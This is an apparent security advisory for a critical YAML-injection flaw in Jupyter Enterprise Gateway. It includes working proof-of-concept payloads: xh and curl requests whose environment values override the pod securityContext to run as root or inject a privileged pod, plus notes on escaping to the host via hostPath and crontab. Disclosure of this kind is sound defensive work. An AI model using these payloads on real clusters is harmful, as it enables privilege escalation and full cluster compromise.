PT-2026-46126 · Pypi · Jupyter-Enterprise-Gateway
Published
2026-06-03
·
Updated
2026-06-03
·
CVE-2026-44182
CVSS v4.0
10
Critical
| Vector | AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
Summary
The environment variables used during the rendering of the Kubernetes manifest allow YAML injection, enabling attackers to overwrite existing keys like
securityContext and inject multi-document YAML to create additional unintended Kubernetes resources.Details
The server interpolates untrusted environment variables (e.g.,
KERNEL XXX) into Kubernetes manifests without YAML-aware escaping, enabling YAML injection attacks. Attackers can inject new fields, overwrite critical fields (e.g., duplicate securityContext keys, where the last one prevails), and inject document boundaries (--- for new documents, ... for end-of-document) to generate multiple resources, potentially creating arbitrary kinds like privileged pods.The Jinja2 template for the Kubernetes manifest contains several
kernel xxx variables, such as kernel working dir that are used when rendering the manifest and are all vectors for YAML injection.
https://github.com/jupyter-server/enterprise gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77These values come from the environment passed in the API call, where they were
KERNEL XXX before being converted to lowercase.https://github.com/jupyter-server/enterprise gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch kubernetes.py#L130-L137
PoC
These proof of concepts are injecting in the
KERNEL WORKING DIR env var, but any of the env vars could have been used.
By default, the KERNEL WORKING DIR will be ignored unless EG MIRROR WORKING DIRS is truthy for the enterprise-gateway. This is controlled by the mirrorWorkingDirs value in the Helm chart.Using
ducaale/xh:xh http://localhost:31529/api/kernels env:=@env-working-dir-exploit.yaml
env-working-dir-exploit.yaml:{
"KERNEL POD NAME": "working-dir-root",
"KERNEL NAMESPACE": "notebooks",
"KERNEL WORKING DIR": ""/tmp"
# INJECTION
securityContext:
runAsUser: 0
runAsGroup: 0
fsGroup: 100
# HAHA - stray quote ""
}
Resulting request:
POST /api/kernels HTTP/1.1
Accept: application/json, */*;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Connection: keep-alive
Content-Length: 233
Content-Type: application/json
Host: localhost:31529
User-Agent: xh/0.24.0
{
"env": {
"KERNEL POD NAME": "working-dir-root",
"KERNEL NAMESPACE": "notebooks",
"KERNEL WORKING DIR": ""/tmp"
# INJECTION
securityContext:
runAsUser: 0
runAsGroup: 0
fsGroup: 100
# HAHA - stray quote ""
}
}
Curl equivalent command:
curl http://localhost:31529/api/kernels -H 'content-type: application/json' -H 'accept: application/json, */*;q=0.5' -d '{"env":{"KERNEL POD NAME":"working-dir-root","KERNEL NAMESPACE":"notebooks","KERNEL WORKING DIR":""/tmp"
# INJECTION
securityContext:
runAsUser: 0
runAsGroup: 0
fsGroup: 100
# HAHA - stray quote ""}}'
The rendered Jinja2 template:
# This file defines the Kubernetes objects necessary for kernels to run witihin Kubernetes.
# Substitution parameters are processed by the launch kubernetes.py code located in the
# same directory. Some values are factory values, while others (typically prefixed with 'kernel ') can be
# provided by the client.
#
# This file can be customized as needed. No changes are required to launch kubernetes.py provided kernel
# values are used - which be automatically set from corresponding KERNEL env values. Updates will be required
# to launch kubernetes.py if new document sections (i.e., new k8s 'kind' objects) are introduced.
#
apiVersion: v1
kind: Pod
metadata:
name: "working-dir-root"
namespace: "notebooks"
labels:
kernel id: "186f4ecf-bf90-40b8-b210-a0987bfce927"
app: enterprise-gateway
component: kernel
source: kernel-pod.yaml
annotations:
cluster-autoscaler.kubernetes.io/safe-to-evict: "false"
spec:
restartPolicy: Never
serviceAccountName: "default"
# NOTE: that using runAsGroup requires that feature-gate RunAsGroup be enabled.
# WARNING: Only using runAsUser w/o runAsGroup or NOT enabling the RunAsGroup feature-gate
# will result in the new kernel pod's effective group of 0 (root)! although the user will
# correspond to the runAsUser value. As a result, BOTH should be uncommented AND the feature-gate
# should be enabled to ensure expected behavior. In addition, 'fsGroup: 100' is recommended so
# that /home/jovyan can be written to via the 'users' group (gid: 100) irrespective of the
# "kernel uid" and "kernel gid" values.
securityContext:
runAsUser: 1000
runAsGroup: 100
fsGroup: 100
containers:
- image: "elyra/kernel-py:3.2.3"
name: "working-dir-root"
env:
# Add any custom envs here that aren't already configured for the kernel's environment
# - name: MY CUSTOM ENV
# value: "my custom value"
workingDir: "/tmp"
# INJECTION
securityContext:
runAsUser: 0
runAsGroup: 0
fsGroup: 100
# HAHA - stray quote "
volumeMounts:
# Define any "unconditional" mounts here, followed by "conditional" mounts that vary per client
volumes:
# Define any "unconditional" volumes here, followed by "conditional" volumes that vary per client
Normally the container would run as
uid=1000(jovyan) gid=100(users) groups=100(users).
This injects a pod securityContext with runAsUser: 0 and runAsGroup: 0 (and fsGroup: 100).
The processing of the YAML results in the duplicate key clobbering the original.
Making the container run as uid=0(root) gid=0(root) groups=0(root),100(users).In addition to injecting a pod level
securityContext it is also possible to inject a container level securityContext which supports the privileged field.Injecting a Pod
By injecting
... and --- it is possible to use multi-document YAML to inject Kubernetes resources.xh http://localhost:31529/api/kernels env:=@env-working-dir-exploit-pod.yaml
env-working-dir-exploit-pod.yaml:{
"KERNEL POD NAME": "working-dir-root-pod",
"KERNEL NAMESPACE": "notebooks",
"KERNEL WORKING DIR": ""/tmp"
# INJECTION
...
---
apiVersion: v1
kind: Pod
metadata:
name: injected-pod
spec:
containers:
- name: injected-container
image: nginx
ports:
- containerPort: 80
securityContext:
privileged: true
runAsUser: 0
runAsGroup: 0
...
# HAHA - stray quote""
}
This is rendered as (skipping the beginning of the rendering before the inject):
workingDir: "/tmp"
# INJECTION
...
---
apiVersion: v1
kind: Pod
metadata:
name: injected-pod
spec:
containers:
- name: injected-container
image: nginx
ports:
- containerPort: 80
securityContext:
privileged: true
runAsUser: 0
runAsGroup: 0
...
# HAHA - stray quote"
volumeMounts:
# Define any "unconditional" mounts here, followed by "conditional" mounts that vary per client
volumes:
# Define any "unconditional" volumes here, followed by "conditional" volumes that vary per client
kubectl get pods -n notebooksNAME READY STATUS RESTARTS AGE
injected-pod 1/1 Running 0 4s
working-dir-root-pod 1/1 Running 0 4s
The
injected-pod has been created in addition to the working-dir-root-pod.kubectl get pod/injected-pod -o yaml -n notebooks -o jsonpath='{.spec.containers[*].securityContext}':{
"privileged": true,
"runAsGroup": 0,
"runAsUser": 0
}
Impact
An attacker can create pods running with arbitrary,
image, securityContext, and volumeMounts including hostPath mounts. Privileged pods can be created.Arbitrary Kubernetes resources of kinds:
Pod, Secret, PersistentVolumeClaim, PersistentVolume, Service, and ConfigMap can be created.Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. Multiple container escape vectors exist. It is possible to create privileged pods which could load kernel modules to compromise the host. It is also possible to specify volume mounts, so another vector for a container escape is to use a
hostPath R/W volume mount, use the injected securityContext to run as root, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system.Fix
Special Elements Injection
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Weakness Enumeration
Related Identifiers
Affected Products
Jupyter-Enterprise-Gateway